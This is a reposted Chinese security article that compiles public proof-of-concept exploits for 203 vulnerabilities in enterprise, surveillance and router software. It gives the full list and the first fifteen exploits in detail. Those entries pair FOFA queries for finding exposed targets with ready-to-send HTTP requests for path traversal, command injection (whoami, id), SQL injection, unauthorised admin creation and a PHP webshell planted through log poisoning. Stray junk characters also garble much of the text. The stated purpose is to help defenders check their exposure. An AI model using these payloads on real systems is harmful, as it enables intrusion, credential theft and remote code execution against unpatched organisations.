互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
( f* W% A/ F, }+ {
5 N' s2 H+ n& z. t( i! h发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
1 p" R8 q- Z' |  m
$ Y2 C6 F, e. p漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
& g1 N$ `5 ~5 g6 s# q3 Q, T! n
% R- ]0 x, n  V/ m! }安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
4 ^! p& q, D9 u
$ ^& L+ o' A4 r7 d7 l- d: Z9 E合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
/ z2 H  Z# s+ _9 X( {2 L+ a
2 e. z5 H( N+ ~* u+ n: \. I
声明

' u8 `! Z7 q' B, A% f3 o为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

4 \5 q( F6 M5 W# V* u0 r3 m( u有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
, N: y' O7 ]& I. i: p& O! e, J
: q; u6 l3 D) e" I, J, N2 t8 R" ^
7 d3 ?% p$ b5 M
目录

/ n# w& w2 w- Q2 E6 P01

1. StarRocks MPP数据库未授权访问
- ]6 K& y# ~7 P" x2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
" V0 u/ [# e/ \, m, a7 M1 y: o4. EasyCVR视频管理平台存在任意用户添加
3 X0 c7 A& r& A( H! `5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
* V) B/ C3 S6 W4 p7 V12. Jorani < 1.0.2 远程命令执行
' {, x- B! t2 \( o# j& U& _13. 红帆iOffice ioFileDown任意文件读取
' l; v7 z2 f% C# k4 f6 A! j14. 华夏ERP（jshERP）敏感信息泄露
. I! r8 ^* a. h& K15. 华夏ERP getAllList信息泄露
+ o* A5 D6 f0 k* d0 q" i% X16. 红帆HFOffice医微云SQL注入
3 W5 [# g) {" ?2 P3 m2 e2 ?17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
& S9 l: y: ~% w. {9 b+ @. z! V21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
2 w/ {6 R+ v5 C23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
% [  ~8 _  h, r+ @$ i25. 用友NC registerServlet JNDI 远程代码执行
! g( `4 V9 t* N: J26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
  K9 ?& [3 r; C, [# b28. 用友NC grouptemplet 任意文件上传
5 W! e( d, }6 N; Z. i7 m29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
  z$ m- Y9 \0 y6 R1 Q% U35. 用友NC-Cloud importhttpscer任意文件上传
3 n. }9 D( R: \* N& t+ v3 D36. 用友NC-Cloud soapFormat XXE
+ ]# h1 x2 H  K) Y37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
42. 用友GRP-U8 SmartUpload01 文件上传
4 q2 y* m! `& i43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
9 M. x! H  C6 U. c. ^" u7 p7 b46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
& M! R4 Y- }0 l- v48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
" A, f- D5 V" i4 D: x9 H51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
& a, C  u9 y8 y6 ^52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
$ W9 p8 E& W( ]( j9 ?! n8 w* G54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
% r( _2 B# |8 r2 E58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
4 g; k5 y3 r, w7 k/ m60. 百卓Smart管理平台 importexport.php SQL注入
* P9 m4 p. |3 l" P/ {61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
  z* S7 P( I  a" f64. 捷诚管理信息系统CWSFinanceCommon SQL注入
2 U% L: u; e. p. ^65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
' ^, m% R* g/ N' F+ j- r, r66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
- y/ G+ m4 w: v1 L" T4 i2 \68. 万户ezOFFICE wf_printnum.jsp SQL注入
- _1 b. z' Z( l5 a. w. n# [( n69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
7 W# Q& \+ ]+ s  Z71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
% m( l, C6 B1 Y3 ^4 h1 f72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
$ v% X, N8 `4 t! N- K: @# w" Q' {" t) k74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
$ J. k- j5 B5 s0 u8 i; c- P4 \4 L/ @7 x78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
" n/ S; s9 L' }$ X80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
  D. }9 Q4 Z2 g# s82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
) I( Q; u9 h* y+ u* o' ]0 G5 N83. JeecgBoot testConnection 远程命令执行
2 `7 Y' v* ~7 f+ k. y+ u84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
* W) D+ C1 h4 }3 o85. SysAid On-premise< 23.3.36远程代码执行
86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
& w1 Z& ~/ a( m# D89. 致远互联FE协作办公平台editflow_manager存在sql注入
' ?7 S! i0 Y$ n1 S- P/ K90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
# g6 h, b) m6 k) T96. Apache OFBiz  18.12.11 groovy 远程代码执行
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
* E' y* ~5 I8 z99. Ncast盈可视高清智能录播系统busiFacade RCE
2 [1 B; [" N( l100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
, _8 C$ k# k& g5 d% q* P/ E101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
" F) `7 ]+ B2 _+ Q3 U1 s106. SpringBlade dict-biz/list SQL 注入
: ?* j( {9 s& J% Z' N) X107. SpringBlade tenant/list SQL 注入
108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
5 e5 j8 _2 q7 O# X111. WordPress Plugin HTML5 Video Player SQL注入
! l* N5 V$ ^) Q' H0 J0 t112. WordPress Plugin NotificationX SQL 注入
) v' o! l# h( |6 N0 Y, `' j) w113. WordPress Automatic 插件任意文件下载和SSRF
$ \2 `+ z2 x8 a) B1 k114. WordPress MasterStudy LMS插件 SQL注入
115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
! I% v- X9 o, [; u2 k118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
. D  [6 S" w: T120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
# R5 r- i& {3 K! _9 \, Z9 x8 I122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
" m1 F7 R& d0 B( [% U6 Z125. ConnectWise ScreenConnect身份验证绕过
; s8 j2 i* F" b& e+ J( m1 ]1 |126. Aiohttp 路径遍历
* l6 s- x+ c4 l0 U( [127. 广联达Linkworks DataExchange.ashx XXE
128. Adobe ColdFusion 反序列化
8 ~$ u4 W. G+ P# Y" j129. Adobe ColdFusion 任意文件读取
; g% s/ l9 z: Z& z9 K3 {" R- H130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
$ S2 m2 [& Z4 X: y0 E5 o132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
5 K3 {, j/ K( K+ X, F) T6 z, ~133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
/ v+ t* k, x, Y) R9 p9 q' d2 b135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
2 l$ k, O4 i$ X( G# @, s" _# M136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
/ d2 ^% F. B) Z9 ]138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
2 P% a2 Z$ {3 V- V140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
2 H( T+ c% x  o+ r; _& _1 d+ }6 W141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
9 [4 V+ B: l3 V* x% I  M142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
# t, y' P" l6 A0 w145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
: x" T. L8 F) B) q5 e8 Q; m# w" B- x148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
- K5 ~' M4 ?7 i8 W/ N, ~4 M( l; K150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
4 A$ f+ Q. Q  I; F6 k& m( ^152. Progress Kemp LoadMaster 远程命令执行
6 M0 Q0 K3 @$ \153. gradio任意文件读取
. ]1 I  }* ~6 X3 Q' |' h154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
2 M  u$ I1 y- a7 S158. Mura-CMS-processAsyncObject存在SQL注入
2 N' ^4 A2 r; O8 u  d, [1 X$ _159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
, A+ u4 l: v/ o# p: g& {160. Sonatype Nexus Repository 3目录遍历与文件读取
% N- }1 E9 \$ H( ]) H161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
# I# _4 {  f) m, Y, h162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
; o% Z6 c: s. m4 ?7 g# j164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
1 j) M2 r/ v1 ~  V, k: e9 S8 T" J166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
' i$ M3 y) @9 Q' [! `169. 宏景EHR downlawbase SQL注入
9 H* c5 g% ^& S* ~170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
: ]6 Y0 R7 w+ Q/ U. A, e173. Check Point 安全网关任意文件读取
- V% u, p  d: p174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
: n, u1 w" E6 Z) a: L) }8 D176. 电信网关配置管理系统 rewrite.php 文件上传
2 x& s8 d, y, f6 O2 p. E177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
# C3 `' d6 ~" n, T0 j6 \182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
0 r1 n) ~* ?  Z0 O183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
& T. A) F" A. A6 |" S184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
" e9 \  ]  D% X187. Mura CMS processAsyncObject SQL注入
7 T. Q" @4 @4 ^6 L) c$ o188. 叁体-佳会视频会议 attachment 任意文件读取
- b) {* y7 ]- j2 A$ r189. 蓝网科技临床浏览系统 deleteStudy SQL注入
! g& p' R0 `9 H5 B9 O190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
4 {" M0 e! |" e: D3 t192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
# e' I- c% O, ]  x) N194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
6 H+ Q2 v3 G# w$ ~; {195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
% \! h2 [; v& a8 m2 u, Z196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
# H6 A$ j6 v( V) Y198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
, c+ W; i2 @5 T3 h  n201. 方正全媒体新闻采编系统 binary SQL注入
; K9 W1 e" y0 z4 _202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
' t( ]3 ^& p) {6 o% e4 O: F
6 V; h- B  E3 j7 H) ?9 HPOC列表

2 [' j2 l6 F5 N2 e+ R02

% w- x5 W% a" Z% [* s# F1. StarRocks MPP数据库未授权访问
! g9 F7 |/ I0 G7 @* ~FOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
Host: URL

0 C" k% B( A  h0 [& A0 A* F
2. Casdoor系统static任意文件读取
' g4 c+ S* ]  y" b! W% C( QFOFA ：title="Casdoor"
" b  B3 t8 l: Q: D; J# r. V; c* B- DGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
3 d+ @+ w) A0 @8 DHost: xx.xx.xx.xx:9999
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: S; [, d& X/ K3 A2 t+ JConnection: close
$ Q9 Z6 a* ~) J, U& S# K2 oAccept: */*
8 P7 G' {' s, @5 cAccept-Language: en
Accept-Encoding: gzip


6 z5 N5 N# U$ z+ ~, C3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
. P) u- \0 f$ d5 f3 ^: rGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
4 U& z" B* X6 z3 P/ E. K( LHost: xx.xx.xx.xx

3 ?# c, d2 L8 S1 x, i2 b2 T" |
4 V& s  X) E! J# ^1 G7 C! C4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"
/ w' {4 N0 Q+ J& k5 J8 |1 }! A1 L
- V( S2 S4 g- }  i/ x% g. \/ |0 g, tpassword更改为自己的密码md5
4 i/ O+ H2 X$ H2 j" @POST /api/v1/adduser HTTP/1.1
Host: your-ip
  K) T% _3 i5 N" u8 a9 @4 FContent-Type: application/x-www-form-urlencoded; charset=UTF-8
8 L) l* R+ t! [# p$ v. w
  I* [+ c1 T# T; w& \$ j: @name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

" x2 v/ W7 m& s) W0 J
5. NUUO NVR 视频存储管理设备远程命令执行
FOFA：title="Network Video Recorder Login"
2 {% B8 t$ {7 N1 Q% S8 {% \! nGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
Host: xx.xx.xx.xx
: k" D2 \( @9 p8 v0 w& H* |
8 }' g' P& q& x) V
7 x  Y% w3 Q: a; _7 I# S5 h! p, a6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
6 h0 M/ I% ]9 ^8 AGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
8 Y% ~) t# z) e! @9 h5 q& DHost:
% ~! a( {, ~7 c- J% r/ p3 f

7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
9 S( c0 H+ m0 A8 mHost:
/ V) B+ f+ S3 u* [" W
3 }0 T* @. A6 N2 F/ `2 p" O
! {2 N( q, z( p4 t8. 斐讯 Phicomm 路由器RCE
FOFA：icon_hash="-1344736688"
- d) a, ^3 X7 L% L/ y+ I默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
9 f8 ~. p+ W0 M! T" F; E8 i- UHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
4 O) S) h: t6 H; ~0 n: a+ f! qContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
) k1 t) g& c0 a( ^' @' C9 _
: A7 ?0 q$ \7 z: h3 q------WebKitFormBoundaryxbgjoytz
( v( r4 c/ k% m) p2 s" {/ EContent-Disposition: form-data; name="wifiRebootEnablestatus"

% c0 q1 `; O$ Z& c/ F) ?%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"

" U" x& k  L) m) t: a! s12:00; id;
+ t  B! }* W1 C& B- Z3 f------WebKitFormBoundaryxbgjoytz
8 U1 x' ^7 z7 l7 r% L/ L: {: wContent-Disposition: form-data; name="wifiRebootendrange"
& M  _' C. W2 h  }
% v% \8 Y* H$ K) [7 ?, X( Q%s:
6 R' n: v, [( I" [------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"
7 L3 u, c, G% m: I6 H; @4 z
: H8 [) N$ a7 G- @
------WebKitFormBoundaryxbgjoytz--
& u5 I. M5 ~* ^3 l

  R% a4 z5 b' B7 w. D) e7 T9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
6 p3 h5 a+ |: `/ v: w$ ZHost: x.x.x.x
: P% x! H5 G3 H2 F0 s

payload为下列语句的二次Url编码

. j) N& L4 D" e' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
) Z" J% s6 }6 A; g$ M" D5 ]+ W
7 d6 }; ~$ ~$ w2 u0 _10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"

文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
; @) m1 ?; W* l# `# N% U4 S, DHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
6 Q1 Y/ b, D# W3 @) O1 \Content-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
/ Z* T) S: _( I! H, PAccept-Encoding: gzip, deflate
7 @! ^9 e: b6 G9 ?Accept-Language: zh-CN,zh;q=0.9
* D* I3 f6 W- M: eConnection: close
9 p# F  \- A8 c7 e; Q$ N, I5 YContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

/ ~: \+ _" G8 Y% F2 t1 ^------WebKitFormBoundaryxdgaqmqu
. e3 n% t  q$ G- j1 pContent-Disposition: form-data; name="file"filename="icfitnya.txt"
  O$ m8 N. O2 J' F) h: i' ?Content-Type: text/html

* i2 D8 R) n% n9 m6 V. m( Vjmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
: Z/ W/ k( q& ]8 n+ N

: U- @( Y6 p) a' w+ S/ S* I11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
% ]& X0 s) s3 [  yFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
1 \) ~4 p3 _  c- I( W" M+ f& E. XHost: 127.0.0.1
" i& c9 g* F6 Z2 z  }# b& m+ uPragma: no-cache
Cache-Control: no-cache
" v# w4 z( [% X* CUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
4 I; g5 c6 {2 ~5 U- y7 |5 W# {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
# t8 b5 _4 c1 z1 P# x4 o9 pConnection: close

( O! Z% b+ K$ {! i+ i1 u4 g
# P, ^5 q; V* b* k# L  d9 m4 y12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
第一步先拿到cookie
% |: |# L3 n! u. w1 h7 {6 _GET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip
6 O8 ?" V$ y: Z4 k

响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
" {5 b- W% Y& E/ S/ y- o7 pConnection: close
Cache-Control: no-store, no-cache, must-revalidate
( E$ t* I7 e9 D: l1 u7 |Content-Type: text/html; charset=UTF-8
Date: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
! a! c  E$ \( {/ d$ @' e+ _Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
- ~' O' P! \: ePragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding

8 A* t: T' D% N0 y; M, H- R
POST请求，执行函数并进行base64编码
2 I' A8 f5 u. t2 KPOST /session/login HTTP/1.1
7 @6 s4 H  P) ~; P: J; q0 x7 wHost: 192.168.190.30
; `7 j* U) z0 c- C) v3 g3 Y( mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
. U4 K8 j1 Y/ S; G( r: Q; rConnection: close
Content-Length: 252
8 M3 f4 Y7 v2 }7 I5 W% E( \Content-Type: application/x-www-form-urlencoded
7 S9 |7 w/ E+ e8 Z9 N' QCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
, i9 v  l4 v7 C( k# R( }1 t
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor
: {! X- T" D+ E* k- g) s


向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
) r8 s1 C$ _/ T) p8 Z7 pHost: 192.168.190.30
7 x1 C2 z9 l. }; M9 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
" R0 S+ R- I: @9 d9 v. }Connection: close
4 o$ V/ k! x. x, E: t7 jCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
' U3 P& L5 {# sK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
3 N  }) [5 }4 M0 L

! q5 }! @7 N: o! }5 J13. 红帆iOffice ioFileDown任意文件读取
2 ?$ o1 k& Z  B, L/ d/ OFOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
; n% _; w- Z. S+ X7 W' UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
* l( Z* E6 |- f+ u0 ^Connection: close
Accept: */*
Accept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
) |9 t& b& p# M/ L; T0 C, T泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
/ ]) C( k' `' j" O; }# QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
1 [; s4 f4 Y: J- O) h' b# g1 P# @& G. xConnection: close
6 q- ?$ p  v" _4 v3 TAccept: */*
. z2 H# S8 d6 F. qAccept-Language: en
7 l0 \3 z, M0 l7 Q/ u5 u- uAccept-Encoding: gzip


5 n, s/ a- j! i% H1 p6 Y15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
Host: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
" I: S3 a' U# m$ G* F7 [Connection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
